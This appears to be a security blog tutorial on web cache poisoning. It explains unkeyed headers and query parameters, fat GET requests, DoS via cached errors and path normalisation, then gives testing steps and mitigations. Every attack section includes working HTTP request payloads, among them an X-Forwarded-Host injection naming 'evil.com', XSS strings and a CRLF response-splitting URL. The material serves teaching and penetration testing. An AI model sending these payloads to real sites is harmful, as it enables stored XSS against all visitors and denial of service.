Help Ukraine, click for information

> Web Cache Poisoning: Turning a Feature Into a Weapon_

Web caches exist to make sites faster. They sit between users and servers — when the first user requests /home, the cache stores the response; the next thousand users get it instantly without touching the origin server.

The problem: caches are keyed on a subset of request attributes (usually URL + Host). But responses can be influenced by other parts of the request — headers, query parameters, cookies — that the cache ignores. If you can get a cache to store a response that was shaped by your malicious input, and serve it to other users, you've poisoned the cache.

The impact ranges from stored XSS affecting every visitor to complete denial of service at scale.


## How cache keying works

A cache key is the set of request properties used to identify a unique cache entry. By default, most caches key on:

terminal
Method + Host + Path + Query string

The rest of the request — Accept-Language, X-Forwarded-Host, X-Forwarded-For, custom headers — are unkeyed inputs. The cache ignores them when deciding what to serve, but the origin server may use them to construct the response.

This gap is the attack surface.


## Finding unkeyed inputs

Use Burp's Param Miner extension or manual testing. The goal is to identify headers the server reflects into the response without the cache keying on them.

Manual method:

terminal
GET /en/home HTTP/1.1 Host: target.com X-Forwarded-Host: evil.com

If the response contains evil.com in a script src, canonical tag, or redirect URL — you have a reflected unkeyed header. Now you need to confirm the cache stores it.

Cache detection:

Look for cache-related headers:

  • >X-Cache: HIT / X-Cache: MISS — most obvious indicator
  • >CF-Cache-Status: HIT — Cloudflare
  • >Age: <seconds> — how long the cached response has been stored
  • >Via: 1.1 varnish — Varnish cache in the chain

Send the same request twice. If the second response has X-Cache: HIT with the same body including your injected value, the poisoned response is now cached for all users.


## Attack 1: Reflected XSS via unkeyed header

Scenario: The server reflects X-Forwarded-Host into a script tag for CDN asset loading:

terminal
<script src="https://cdn.target.com/app.js"></script>

becomes (when you inject):

terminal
<script src="https://evil.com/app.js"></script>

Attack:

terminal
GET / HTTP/1.1 Host: target.com X-Forwarded-Host: evil.com"><script>alert(document.cookie)</script>

If the response is cached — every user who loads the homepage executes your JavaScript. This is stored XSS at CDN scale, affecting all users without needing to trick them into visiting a special URL.


## Attack 2: Unkeyed query parameters

Some caches strip certain query parameters before keying. Parameters like utm_source, fbclid, _ are often excluded from cache keys to avoid cache busting from marketing tags.

Test: Add a random unkeyed param and inject a reflected XSS payload:

terminal
GET /en/home?utm_source="><script>alert(1)</script>&x=1 HTTP/1.1 Host: target.com

If utm_source is reflected in the response (used in a meta tag, tracking call, etc.) but excluded from the cache key, the poisoned response gets served to users requesting /en/home.

Identifying unkeyed params: Param Miner will fuzz this automatically. You can also manually test by adding a cache buster (?cb=1234) to prevent poisoning while testing, then remove it for the final exploit.


## Attack 3: Fat GET requests

Some caches only key on the URL, not the request body. Some servers accept request bodies on GET requests. If a server processes a GET body and the cache ignores it:

terminal
GET /search?q=hello HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 30 q="><script>alert(1)</script>

If the server uses the body q parameter over the URL one, and the cache keys on the URL only — the poisoned response is stored for all users searching ?q=hello.


## Attack 4: Cache poisoning for DoS

You don't need XSS for a web cache poisoning impact. Force the cache to store a 500 Internal Server Error response.

Method 1: Inject a header that causes a server error:

terminal
GET / HTTP/1.1 Host: target.com X-Forwarded-Host: a.b.c.d.e.f.g X-HTTP-Method-Override: INVALID_METHOD

If the server errors on the invalid method and the cache stores the 500, every user hits a 500 until the TTL expires.

Method 2: Content-length mismatch causing request smuggling → cache poisoning. This is more complex but has been used to poison responses with error pages or entirely different users' responses.


## Attack 5: Normalisation differences

Caches and origin servers often disagree on URL normalisation:

  • >Cache treats /api/v1/users and /api/v1/users/ as different keys
  • >Origin treats them as the same endpoint

Or more subtle:

  • >Cache decodes %2f in paths, origin doesn't
  • >Cache collapses //double//slash, origin preserves it
terminal
GET //private/../public HTTP/1.1

If the cache serves /public content for //private/../public because it normalises the path but the origin doesn't — you've bypassed access controls via the cache layer.


## HTTP response splitting (classic)

If user input ends up in a response header without sanitisation, inject newlines to split the response:

terminal
GET /redirect?url=https://target.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>

Modern frameworks mostly prevent this, but older apps and custom proxies are still vulnerable.


## Detection and testing methodology

  1. >

    Map the caching layer — what CDN/cache is in use? Check response headers for Via, CF-Ray, X-Cache, X-Varnish.

  2. >

    Identify cacheable endpoints — static pages, product pages, anything with Cache-Control: public or long max-age.

  3. >

    Fuzz unkeyed inputs — Param Miner + manual header injection.

  4. >

    Confirm caching — always send request twice and check for HIT.

  5. >

    Add cache busters while testing — use a unique query param to avoid poisoning real users during recon:

    terminal
    GET /?cb=randomstring123
  6. >

    Document TTL — how long does the poison last? Age: 0 in a HIT means it just got cached.


## Mitigation

For developers:

  • >Never reflect request headers into responses unless they're in the cache key
  • >Use Vary header to include relevant headers in the cache key: Vary: X-Forwarded-Host
  • >Sanitise all reflected input regardless of context
  • >Audit third-party CDN/cache configuration

For security teams:

  • >Include unkeyed header testing in web app pentest methodology
  • >Check for X-Forwarded-Host, X-Forwarded-For, X-Original-URL, X-Rewrite-URL reflection
  • >Test cache behaviour explicitly — don't assume headers aren't cached

Cache configuration:

terminal
# Nginx: explicitly key on relevant headers proxy_cache_key "$scheme$request_method$host$request_uri$http_accept_language";

Web cache poisoning is elegant as an attack class because it turns a performance optimisation into a force multiplier — one request poisons responses for all future users until TTL expires. The root cause is almost always a mismatch between what the cache considers unique and what the origin server considers unique.

PortSwigger's Web Security Academy has excellent labs for practicing this — I'd recommend working through all of them.

root@sovietghost:/blog/038-web-cache-poisoning# ls -la ../

> Thanks for visiting. Stay curious and stay secure. _